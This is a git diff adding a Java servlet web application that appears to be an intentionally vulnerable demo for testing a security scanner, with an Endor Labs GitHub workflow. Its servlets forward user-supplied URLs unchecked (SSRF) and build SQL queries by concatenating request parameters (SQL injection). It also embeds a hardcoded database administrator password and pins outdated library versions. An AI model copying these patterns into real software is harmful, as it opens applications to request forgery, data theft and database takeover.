diff --git a/.github/workflows/endorlabs.yml b/.github/workflows/endorlabs.yml new file mode 100644 index 0000000..022cec9 --- /dev/null +++ b/.github/workflows/endorlabs.yml @@ -0,0 +1,49 @@ +name: Endor Labs Scan +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + workflow_dispatch: + inputs: + tenant_name: + description: "Enter your Endor Labs tenant name:" + required: true + +jobs: + scan: + permissions: + contents: read + id-token: write + + runs-on: ubuntu-latest + + steps: + + - name: setup namespace + run: | + NAMESPACE=$(jq -r '.inputs.tenant_name' $GITHUB_EVENT_PATH) + echo "::add-mask::$NAMESPACE" + echo NAMESPACE=$NAMESPACE >> $GITHUB_ENV + + - name: Checkout Repository + uses: actions/checkout@v3 + + - name: Setup Java + uses: actions/setup-java@v3 + with: + distribution: 'microsoft' + java-version: '17' + cache: 'maven' + + - name: Compile Package + run: mvn clean install + + - name: Run endorctl + uses: endorlabs/github-action@v1.1.2 + with: + namespace: ${{ github.event.inputs.tenant_name }} + enable_github_action_token: true + scan_summary_output_type: "table" + additional_args: "--as-default-branch" + pr: false \ No newline at end of file diff --git a/lib/javax.annotation.jar b/lib/javax.annotation.jar new file mode 100644 index 0000000..52dca7f Binary files /dev/null and b/lib/javax.annotation.jar differ diff --git a/lib/javax.ejb.jar b/lib/javax.ejb.jar new file mode 100644 index 0000000..4ebf5ec Binary files /dev/null and b/lib/javax.ejb.jar differ diff --git a/lib/javax.jms.jar b/lib/javax.jms.jar new file mode 100644 index 0000000..d31451a Binary files /dev/null and b/lib/javax.jms.jar differ diff --git a/lib/javax.persistence.jar b/lib/javax.persistence.jar new file mode 100644 index 0000000..21d80e0 Binary files /dev/null and b/lib/javax.persistence.jar differ diff --git a/lib/javax.resource.jar b/lib/javax.resource.jar new file mode 100644 index 0000000..696a234 Binary files /dev/null and b/lib/javax.resource.jar differ diff --git a/lib/javax.servlet.jar b/lib/javax.servlet.jar new file mode 100644 index 0000000..0519e4a Binary files /dev/null and b/lib/javax.servlet.jar differ diff --git a/lib/javax.servlet.jsp.jar b/lib/javax.servlet.jsp.jar new file mode 100644 index 0000000..9c0631c Binary files /dev/null and b/lib/javax.servlet.jsp.jar differ diff --git a/lib/javax.servlet.jsp.jstl.jar b/lib/javax.servlet.jsp.jstl.jar new file mode 100644 index 0000000..7be17cc Binary files /dev/null and b/lib/javax.servlet.jsp.jstl.jar differ diff --git a/lib/javax.transaction.jar b/lib/javax.transaction.jar new file mode 100644 index 0000000..729c695 Binary files /dev/null and b/lib/javax.transaction.jar differ diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..aadc181 --- /dev/null +++ b/pom.xml @@ -0,0 +1,189 @@ + + + + 4.0.0 + com.endor.webapp + endor-java-webapp-demo + 4.0-SNAPSHOT + jar + endor-webapp Maven Webapp + + http://www.example.com + + UTF-8 + 1.8 + 1.8 + + + + javax.servlet + javax.servlet-api + 3.1.0 + + + org.apache.commons + commons-text + 1.9 + + + mysql + mysql-connector-java + 5.1.42 + + + com.mchange + c3p0 + 0.9.5.2 + + + org.jboss.weld + weld-core + 1.1.33.Final + + + javax.enterprise + cdi-api + + + javax.annotation + jsr250-api + + + org.jboss.spec.javax.interceptor + jboss-interceptors-api_1.1_spec + + + org.slf4j + slf4j-api + + + org.javassist + javassist + + + + + org.apache.logging.log4j + log4j-core + 2.3 + true + test + + + com.nqzero + permit-reflect + 0.3 + + + org.jboss.arquillian.config + arquillian-config-spi + 1.7.0.Alpha12 + + + org.jboss.arquillian.container + arquillian-container-impl-base + 1.7.0.Alpha12 + + + org.jboss.shrinkwrap.descriptors + shrinkwrap-descriptors-api-base + 2.0.0 + + + org.jboss.shrinkwrap + shrinkwrap-impl-base + 1.2.6 + + + org.mockito + mockito-core + 2.28.2 + + + com.google.errorprone + error_prone_annotations + 2.7.1 + + + org.webjars.bowergithub.webcomponents + webcomponentsjs + 2.0.0-beta.3 + + + org.webjars.bowergithub.webcomponents + shadycss + 1.9.1 + + + org.semver + api + 0.9.33 + + + com.google.code.findbugs + jsr305 + + + commons-lang + commons-lang + + + de.tototec + de.tototec.cmdoption + + + org.ow2.asm + asm + + + + + + + endor-java-webapp-demo + + + + maven-clean-plugin + 3.1.0 + + + + maven-resources-plugin + 3.0.2 + + + maven-compiler-plugin + 3.8.0 + + + maven-surefire-plugin + 2.22.1 + + + maven-war-plugin + 3.2.2 + + + maven-install-plugin + 2.5.2 + + + maven-deploy-plugin + 2.8.2 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + diff --git a/src/main/java/com/endor/AppServlet.java b/src/main/java/com/endor/AppServlet.java new file mode 100644 index 0000000..0e851f4 --- /dev/null +++ b/src/main/java/com/endor/AppServlet.java @@ -0,0 +1,170 @@ +package com.endor; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.URL; + +import javax.net.ssl.SSLSocket; +import javax.net.ssl.SSLSocketFactory; + +@javax.servlet.annotation.WebServlet(name = "AppServlet", urlPatterns = "/AppServlet") +public class AppServlet extends javax.servlet.http.HttpServlet { + protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException { + doGet(request, response); + } + + protected void doGet(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException { + //response.getWriter().println("Hello world"); + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.printCurrentTitle("SSRF", response); + + String form = "
" + + "URL: -- (If ssrf=file then inputs will be parsed from the file /opt/ssrfinput.txt)

" + + "Https URL:

" + + "" + "
"; + out.println(form); + + + String loopback = request.getParameter("isloopback"); + String ssrfUrl = request.getParameter("ssrf"); + String httpsssrfUrl = request.getParameter("httpsssrf"); + + System.out.printf("loopback : %s\n",loopback); + System.out.printf("ssrfUrl : %s\n",ssrfUrl); + System.out.printf("httpsssrfUrl : %s\n",httpsssrfUrl); + + if (loopback == null && ssrfUrl.equalsIgnoreCase("file")) { + BufferedReader reader = null; + try { + reader = new BufferedReader(new FileReader("/opt/ssrfinput.txt")); + System.out.println("ssrfinput.txt file opened successfully"); + } + catch (IOException e) { + System.out.println("Failed to open Input file"); + e.printStackTrace(); + } + try { + String line = reader.readLine(); + while (null != line) { + System.out.println("SSRF being called with :" + line); + UseUrlOpenConnection(request, response, line); + line = reader.readLine(); + Thread.sleep(2000); + } + reader.close(); + } + catch (Exception ex){ + ex.getStackTrace(); + } + } else if(loopback == null && ssrfUrl !=null && ssrfUrl.length() > 0) { + UseUrlOpenConnection(request, response, ssrfUrl); +// String countStr = request.getParameter("loop"); +// int count = Integer.parseInt(countStr); +// for (int i =0; i< count;i++) { +// restCall(request, response, i); +// } + } else if (loopback == null && 0 == httpsssrfUrl.toUpperCase().indexOf("HTTPS://")) { + System.out.println("Inside https://, calling UseUrlOpenConnectionhttps()"); + UseUrlOpenConnectionhttps(request, response, httpsssrfUrl); + + } + + System.out.println("Executed URLOpen"); + + } + + public void UseUrlOpenConnection(javax.servlet.http.HttpServletRequest request, + javax.servlet.http.HttpServletResponse response, String ssrfURL) throws javax.servlet.ServletException, IOException { + try { + response.getWriter().println("Inside Url.openStream"); + String url = "https://www.oracle.com/"; + if (ssrfURL != null && ssrfURL.length() > 0) { + url = ssrfURL; + } + URL oracle = new URL(url); + + BufferedReader in = new BufferedReader( + new InputStreamReader(oracle.openStream())); + + String inputLine; + while ((inputLine = in.readLine()) != null){ + System.out.println(inputLine); + response.getWriter().print(inputLine);} + in.close(); + } catch (Exception e) { + response.getWriter().println("Exception!!"); + response.getWriter().print(e.getMessage()); + + } + } + + public void UseUrlOpenConnectionhttps(javax.servlet.http.HttpServletRequest request, + javax.servlet.http.HttpServletResponse response, String ssrfURL) throws javax.servlet.ServletException, IOException { + + String hostname = "www.verisign.com"; + + + String hostname2 = "time.nist.gov"; + + String UrlToOpen = ssrfURL.replaceFirst("HTTPS://", ""); + UrlToOpen = UrlToOpen.replaceFirst("https://", ""); + + try { + System.out.printf("Opening SSL socket for host : %s\n", UrlToOpen); + SSLSocketFactory factory = + (SSLSocketFactory)SSLSocketFactory.getDefault(); + SSLSocket socket = + (SSLSocket)factory.createSocket(UrlToOpen, 443); + + /* + * send http request + + */ + socket.startHandshake(); + + PrintWriter out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream()))); + + out.println("GET / HTTP/1.0"); + out.println(); + out.flush(); + + /* + * Make sure there were no surprises + */ + if (out.checkError()) + System.out.println( + "SSLSocketClient: java.io.PrintWriter error"); + + /* read response */ + BufferedReader in = new BufferedReader( + new InputStreamReader( + socket.getInputStream())); + + String inputLine; + while ((inputLine = in.readLine()) != null) { + System.out.println(inputLine); + response.getWriter().print(inputLine); + } + in.close(); + out.close(); + socket.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + + } +} \ No newline at end of file diff --git a/src/main/java/com/endor/AsyncEchoUpgradeServlet.java b/src/main/java/com/endor/AsyncEchoUpgradeServlet.java new file mode 100644 index 0000000..c679803 --- /dev/null +++ b/src/main/java/com/endor/AsyncEchoUpgradeServlet.java @@ -0,0 +1,79 @@ +package com.endor; + +import javax.servlet.AsyncContext; +import javax.servlet.ReadListener; +import javax.servlet.ServletException; +import javax.servlet.WriteListener; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.*; +import java.io.IOException; +import java.util.ArrayDeque; +import java.util.Queue; + +@WebServlet(urlPatterns = "/upgrade") +public class AsyncEchoUpgradeServlet extends HttpServlet { + private static final long serialVersionUID = -6955518532146927509L; + + @Override + protected void doGet(final HttpServletRequest req, + final HttpServletResponse resp) throws ServletException, IOException { + req.upgrade(Handler.class); + } + + public static class Handler implements HttpUpgradeHandler { + @Override + public void init(final WebConnection wc) { + Listener listener = new Listener(wc); + try { + // we have to set the write listener before the read listener + // otherwise the output stream could be written to before it is + // in async mode + wc.getOutputStream().setWriteListener(listener); + wc.getInputStream().setReadListener(listener); + } catch (IOException e) { + throw new IllegalArgumentException(e); + } + } + + @Override + public void destroy() { + } + } + + private static class Listener implements WriteListener, ReadListener { + private final WebConnection connection; + private final Queue queue = new ArrayDeque(); + + private Listener(final WebConnection connection) { + this.connection = connection; + } + + @Override + public void onDataAvailable() throws IOException { + byte[] data = new byte[100]; + while (connection.getInputStream().isReady()) { + int read; + if ((read = connection.getInputStream().read(data)) != -1) { + queue.add(new String(data, 0, read)); + } + onWritePossible(); + } + } + + @Override + public void onAllDataRead() throws IOException { + } + + @Override + public void onWritePossible() throws IOException { + while (!queue.isEmpty() && connection.getOutputStream().isReady()) { + String data = queue.poll(); + connection.getOutputStream().write(data.getBytes()); + } + } + + @Override + public void onError(final Throwable t) { + } + } +} diff --git a/src/main/java/com/endor/AsyncServlet.java b/src/main/java/com/endor/AsyncServlet.java new file mode 100644 index 0000000..789dc6a --- /dev/null +++ b/src/main/java/com/endor/AsyncServlet.java @@ -0,0 +1,652 @@ +package com.endor; + +import javax.servlet.AsyncContext; +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.sql.*; +import java.util.HashMap; + +@WebServlet(urlPatterns={"/asyncservlet"}, asyncSupported=true) +public class AsyncServlet extends HttpServlet { + /* ... Same variables and init method as in SyncServlet ... */ + + protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException { + doGet(request, response); + } + + + @Override + public void doGet(HttpServletRequest request, + HttpServletResponse response) { + response.setContentType("text/html;charset=UTF-8"); + // acontext.dispatch("/booklist"); + + final AsyncContext acontext = request.startAsync(); + acontext.start(new Runnable() { + public void run() { + HttpServletRequest request1 = (HttpServletRequest) acontext.getRequest(); + HttpServletResponse response1 = (HttpServletResponse) acontext.getResponse(); + /* ... print to the response ... */ + try { + doGetAsync(request1, response1); + } catch (ServletException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + acontext.complete(); + } + }); + } + + + protected void doGetAsync(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("SQL", response); + + String form = "
" + + "First name: -- ( For SQL with Update)

" + + "Last name:

" + + "Password:


" + + ": Stored Procedure
" + + ": Statement.executeUpdate(SQL, column_names[])
" + + ": Statement.executeQuery(SQL)
" + + ": Statement.execute(SQL)
" + + ": Statement.executeUpdate(SQL)
" + + ": Statement.execute(SQL, column_indexes[])
" + + ": Statement.executeUpdate(SQL, column_indexes[])
" + + ": Statement.execute(SQL, auto_gen_keys)
" + + ": Statement.executeUpdate(SQL, auto_gen_keys)
" + + ": PreparedStatement.execute()
" + + ": PreparedStatement.executeQuery()
" + + ": PreparedStatement.executeUpdate()
" + + ": storedproc.executeQuery()
" + + "

" + + + "" + "
"; + out.println(form); + + if (createRecord(request, out)) { + return; + } + String first = request.getParameter("first"); + String last = request.getParameter("name"); + String pass = request.getParameter("password"); + + HashMap sqltypeMap = new HashMap() {{ + put("storedproc", 0); + put("executeUpdateSQLColNames", 1); + put("executeQuerySQL", 2); + put("executeSQL", 3); + put("executeUpdateSQL", 4); + put("executeSQLColIndex", 5); + put("executeUpdateSQLColIndex", 6); + put("executeSQLAutogenkeys", 7); + put("executeUpdateSQLAutogenkeys", 8); + put("preparedStatement.execute", 9); + put("preparedStatement.executeQuery", 10); + put("preparedStatement.executeUpdate", 11); + put("storedproc.executeQuery", 12); + + + + }}; + + String sqltypeStr = request.getParameter("sqltype"); + int sqltype = sqltypeMap.get(sqltypeStr); + String retVal = "Failed!"; + + switch (sqltype) { + case 0: //storedproc + if (getCustomersStoredProc(1, last, pass)) { + retVal = "Succeeded"; + } + break; + case 1: // executeUpdateSQLColNames + if (getCustomersUpdateColName(first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 2: //executeQuerySQL + if (executeQuerySQL(last, pass)) { + retVal = "Succeeded"; + } + break; + case 3: //executeSQL + if (executeSQL(last, pass)) { + + retVal = "Succeeded"; + } + break; + case 4: //executeUpdateSQL + if (executeUpdateSQL(last, pass)) { + retVal = "Succeeded"; + } + break; + case 5: //executeSQLColIndex + if (executeSQLWithColIndex("execute", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 6: //executeUpdateSQLColIndex + if (executeSQLWithColIndex("executeUpdate", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 7: //executeSQLAutogenkeys + if (executeSQLWithAutogenkeys("execute", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 8: //executeUpdateSQLAutogenkeys + if (executeSQLWithAutogenkeys("executeUpdate", first, last, pass)) { + retVal = "Succeeded"; + } + break; + case 9: //preparedStatement.execute + if (getCustomersPreparedStatement( "execute", last, pass)) { + retVal = "Succeeded"; + } + break; + case 10: //preparedStatement.executeQuery + if (getCustomersPreparedStatement( "executeQuery", last, pass)) { + retVal = "Succeeded"; + } + break; + case 11: //preparedStatement.executeUpdate + if (getCustomersPreparedStatement( "executeUpdate", first, last)) { + retVal = "Succeeded"; + } + break; + case 12: //storedproc executeQuery + if (getCustomersStoredProc(2, last, pass)) { + retVal = "Succeeded"; + } + break; + default: + System.out.println("SQL Type not found"); + } + HtmlUtil.closeCol(response); + HtmlUtil.openCol(response); + if (retVal.equalsIgnoreCase("Succeeded")){ + retVal = HttpURLConnectionExample.sendGET(); + } + out.println("

SQL execution " + retVal + "

"); + HtmlUtil.closeCol(response); + HtmlUtil.closeRow(response); + HtmlUtil.closeTable(response); + out.println(""); + out.println(""); + + } + + private boolean createRecord(HttpServletRequest request, PrintWriter out) { + String fullName = request.getParameter("add"); + if (fullName != null) { + String[] firstLast = fullName.split(" "); + if (firstLast.length == 3) { + insertCustomers(firstLast[0], firstLast[1], firstLast[2]); + out.println("Added " + fullName); + return true; + } + } + return false; + } + + private boolean getCustomersUpdateColName(String first, String last, String pass) { + StringBuffer sbuf = new StringBuffer(); + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + String[] cols = {"FIRST", "LAST"}; + String query = String.format("UPDATE CUSTOMERS SET FIRST = '%s' WHERE LAST = '%s' AND PASSWORD = '%s'", first, last, pass); + System.out.println("QUERY :" + query); + int ret = stmt.executeUpdate(query, cols); + // Clean up + stmt.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } finally { + try { + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } + } + return true; + } + + private boolean executeSQLWithColIndex(String methodName, String first, String last, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + int[] cols = {1, 2}; + String query = String.format("UPDATE CUSTOMERS SET FIRST = '%s' WHERE LAST = '%s' AND PASSWORD = '%s'", first, last, pass); + System.out.println("QUERY :" + query); + if (methodName.equalsIgnoreCase("execute")) { + boolean ret = stmt.execute(query, cols); + } else if (methodName.equalsIgnoreCase("executeUpdate")) { + int ret = stmt.executeUpdate(query, cols); + } else { + System.out.println("Invalid SQL method!"); + } + // Clean up + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } finally { + try { + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return true; + } + + private boolean executeSQLWithAutogenkeys(String methodName, String first, String last, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + int autogenkeys = Statement.RETURN_GENERATED_KEYS; + String query = String.format("UPDATE CUSTOMERS SET FIRST = '%s' WHERE LAST = '%s' AND PASSWORD = '%s'", first, last, pass); + System.out.println("QUERY :" + query); + if (methodName.equalsIgnoreCase("execute")) { + boolean ret = stmt.execute(query, autogenkeys); + } else if (methodName.equalsIgnoreCase("executeUpdate")) { + int ret = stmt.executeUpdate(query, autogenkeys); + } else { + System.out.println("Invalid SQL method!"); + } + // Clean up + } catch (SQLException e) { + System.err.println(e.getMessage()); + return false; + } finally { + try { + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return true; + } + + + private Connection connect() { + Connection conn = null; + boolean retval = false; + try { + // Create database connection + System.out.println("Oracle JDBC Driver Loaded"); + System.out.println("Oracle Connecting.."); + String nameForConnect = "sys as sysdba"; + String pass1 = "Psmo0601"; + String url = "jdbc:oracle:thin:@10.0.22.108:1521:XE"; + conn = DriverManager.getConnection(url, nameForConnect, pass1); + System.out.println("Oracle Connected"); + } catch (Exception e) { + System.err.println("ERROR: failed to load Oracle JDBC driver."); + e.printStackTrace(); + return null; + } + return conn; + } + + public static String insertCustomers(String first, String last, String pass) { + StringBuffer sbuf = new StringBuffer(); + + Connection conn = null; + String db = "jdbc:hsqldb:hsql://localhost/xdb"; + String user = "SA"; + String password = ""; + + try { + // Create database connection + conn = DriverManager.getConnection(db, user, password); + + // Create and execute statement + Statement stmt = conn.createStatement(); + String sql = "INSERT INTO CUSTOMER VALUES (\'" + first + "\',\'" + last + "\', \'" + pass + "')"; + System.out.println("Adding: " + sql); + stmt.executeQuery(sql); + System.out.println("Inserted into Database"); + + // Clean up + stmt.close(); + } catch (SQLException e) { + System.err.println("SQL Error:" + e.getMessage()); + } finally { + try { + // Close connection + if (conn != null) + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return sbuf.toString(); + } + + public boolean executeSQL(String name, String pass) { + return executeSQLHelper("executeSQL", name, pass); + } + + public boolean executeQuerySQL(String name, String pass) { + return executeSQLHelper("executeQuerySQL", name, pass); + } + + public boolean executeUpdateSQL(String name, String pass) { + return executeSQLHelper("executeUpdateSQL", name, pass); + } + + public boolean executeSQLHelper(String methodName, String name, String pass) { + boolean retVal = false; + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + try { + StringBuffer sbuf = new StringBuffer(); + + String query = "select FIRST, LAST from CUSTOMERS WHERE LAST=\'" + name + "\' AND PASSWORD= \'" + pass + "\'"; + System.out.println("QUERY :" + query); + if (methodName.equalsIgnoreCase("executeQuerySQL")) { + ResultSet rs = stmt.executeQuery(query); + // Loop through the data and print all artist names + while (rs.next()) { + sbuf.append("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + System.out.println("Customer Name: " + rs.getString("FIRST") + " " + rs.getString("LAST")); + sbuf.append("
"); + retVal = sbuf.toString().length() > 2; + } + // Clean up + rs.close(); + } else if (methodName.equalsIgnoreCase("executeSQL")) { + retVal = stmt.execute(query); + } else if (methodName.equalsIgnoreCase("executeUpdateSQL")) { + retVal = stmt.executeUpdate(query) > 0; + } + + stmt.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } + return retVal; + } + public boolean getCustomersStoredProc1(String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + c = conn.prepareCall("{call verifyuser(?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("DB stored Proc being called"); + boolean hasResults = c.execute(); + // Loop through the data and print all artist names + output = c.getInt(3); + System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + + public boolean getCustomersStoredProc(int callType, String name, String pass) { + Connection conn = connect(); + if (conn == null) + return false; + Statement stmt = null; + try { + stmt = conn.createStatement(); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + boolean hasResults = false; + try { + // close the statement as its not a callable statement + stmt.close(); + CallableStatement c = null; + c = conn.prepareCall("{call verifyuser(?,?,?)}"); + c.setString(1, name); + c.setString(2, pass); + c.registerOutParameter(3, Types.INTEGER); + System.out.println("DB stored Proc being called"); + if (callType==1){ + c.execute(); + } + if (callType == 2){ + c.executeQuery(); + } + //c.executeQuery(); + // Loop through the data and print all artist names + output = c.getInt(3); + System.out.println("Customer Count: " + c.getInt(3)); + // Clean up + c.close(); + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return output > 0; + } + public boolean getCustomersPreparedStatement(String methodName, String param1, String param2) { + if ( methodName.equals("execute")){ + return getCustomersPreparedStatementExecute(param1, param2); + } + if ( methodName.equals("executeQuery")){ + return getCustomersPreparedStatementExecuteQuery(param1, param2); + } + if ( methodName.equals("executeUpdate")){ + return getCustomersPreparedStatementExecuteUpdate(param1, param2); + } + + return false; + } + + public boolean getCustomersPreparedStatementExecute(String name, String pass) { + Connection conn = connect(); + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = ? AND PASSWORD = ?"; + System.out.println("QUERY :" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, name); + stmt.setString(2, pass); + System.out.println("PreparedStatement.execute being called with Last=" + name + " Password=" + pass); + hasResults = stmt.execute(); + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean getCustomersPreparedStatementExecuteQuery(String name, String pass) { + Connection conn = connect(); + boolean hasResults = false; + if (pass ==null || pass.length() ==0){ + pass = ""; + + } + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "SELECT FIRST, LAST from CUSTOMERS WHERE LAST = ? AND PASSWORD = ?"; + System.out.println("SQL:" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, name); + stmt.setString(2, pass); + System.out.println("PreparedStatement.executeQuery being called with Last=" + name + " Password=" + pass); + ResultSet result = stmt.executeQuery(); + while (result.next()){ + hasResults = true; + System.out.println("PreparedStatement.executeQuery- returned true"); + break; + } + System.out.println("PreparedStatement.executeQuery- returned" + hasResults); + + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + + public boolean getCustomersPreparedStatementExecuteUpdate(String first, String last) { + Connection conn = connect(); + boolean hasResults = false; + if (conn == null) + return false; + PreparedStatement stmt = null; + try { + String query = "UPDATE CUSTOMERS SET FIRST = ? WHERE LAST = ?"; + System.out.println("SQL:" + query); + stmt = conn.prepareStatement(query); + } catch (SQLException e) { + e.printStackTrace(); + } + int output = 0; + try { + stmt.setString(1, first); + stmt.setString(2, last); + System.out.println("PreparedStatement.executeUpdate being called with First=" + first + " Last=" + last); + int count = stmt.executeUpdate(); + hasResults = count > 0; + // Loop through the data and print all artist names + } catch (Exception e) { + System.out.println("Exception !"); + System.err.println(e.getMessage()); + } finally { + try { + // Close connection + stmt.close(); + conn.close(); + } catch (SQLException e) { + System.err.println(e.getMessage()); + System.out.println("Exception 2"); + } + } + return hasResults; + } + +} \ No newline at end of file diff --git a/src/main/java/com/endor/BooksServlet.java b/src/main/java/com/endor/BooksServlet.java new file mode 100644 index 0000000..73168c4 --- /dev/null +++ b/src/main/java/com/endor/BooksServlet.java @@ -0,0 +1,1978 @@ +package com.endor; + +import javax.servlet.RequestDispatcher; +import javax.servlet.ServletException; +import javax.servlet.annotation.WebServlet; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.security.InvalidParameterException; +import java.sql.*; +import java.util.HashMap; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.Future; +import java.io.BufferedReader; +import java.io.FileReader; + +import javax.script.ScriptEngineManager; +import javax.script.ScriptEngine; +import javax.script.ScriptException; + + +// TODO rename to SQLServlet +@WebServlet(name = "BooksServlet") +public class BooksServlet extends HttpServlet { + static String connectionUrl = ""; + static String dbUser = ""; + static String dbPassword = ""; + static String dbType = ""; + static String DB_TYPE_ORACLE = "Oracle"; + + @Override + public void init() throws ServletException { + super.init(); + connectionUrl =System.getProperty("endor_connection_url", "jdbc:oracle:thin:@10.0.22.108:1521:XE"); + dbUser =System.getProperty("endor_db_user", "sys as sysdba"); + dbPassword =System.getProperty("endor_db_password", "Psmo0601"); + dbType =System.getProperty("endor_db_type", DB_TYPE_ORACLE); + + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + doGet(request, response); + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + PrintWriter out = null; + try { + out = response.getWriter(); + } catch (Exception e) { + e.printStackTrace(); + } + HtmlUtil.printHtmlHeader(response); + HtmlUtil.startBody(response); + HtmlUtil.printMenu(response); + HtmlUtil.openTable(response); + HtmlUtil.openRow(response); + HtmlUtil.openCol(response); + HtmlUtil.printCurrentTitle("SQL", response); + + String form = "
" + + + "Customer Specific
" + + "--------------------------------------

"+ + "First name: -- ( For SQL with Update)

" + + "Last name:

" + + "Password:

" + + "Filter: -- (Enter last name with starting chars:)


" + + + "Account Specific
" + + "--------------------------------------

"+ + "Enter ID:


" + + + "Use Stored Procedure
" + + "--------------------------------------

"+ + "Stored procedure name:


" + + + ": Stored Procedure
" + + ": Statement.executeUpdate(SQL, column_names[])
" + + ": Statement.executeQuery(SQL)
" + + ": Statement.execute(SQL)
" + + ": Statement.executeUpdate(SQL)
" + + ": Statement.execute(SQL, column_indexes[])
" + + ": Statement.executeUpdate(SQL, column_indexes[])
" + + ": Statement.execute(SQL, auto_gen_keys)
" + + ": Statement.executeUpdate(SQL, auto_gen_keys)
" + + ": PreparedStatement.execute()
" + + ": PreparedStatement.executeQuery()
" + + ": PreparedStatement.executeUpdate()
" + + ": storedproc.executeQuery()
" + + ": storedproc.executeScript() -- (It takes SQL input from local file, Input file path:/opt/sqlinput.txt)
" + + ": PreparedStatement.executeScript() -- (It takes SQL input from local file, Input file path:/opt/sqlinput1.txt)
" + + ": storedproc.callbyName()
" + + ": PreparedStatementDirectPara.execute()(Execute PreparedStatement on same thread)
" + + ": PreparedStatementDirectParaAsync.execute()(Execute PreparedStatement on seperate thread)
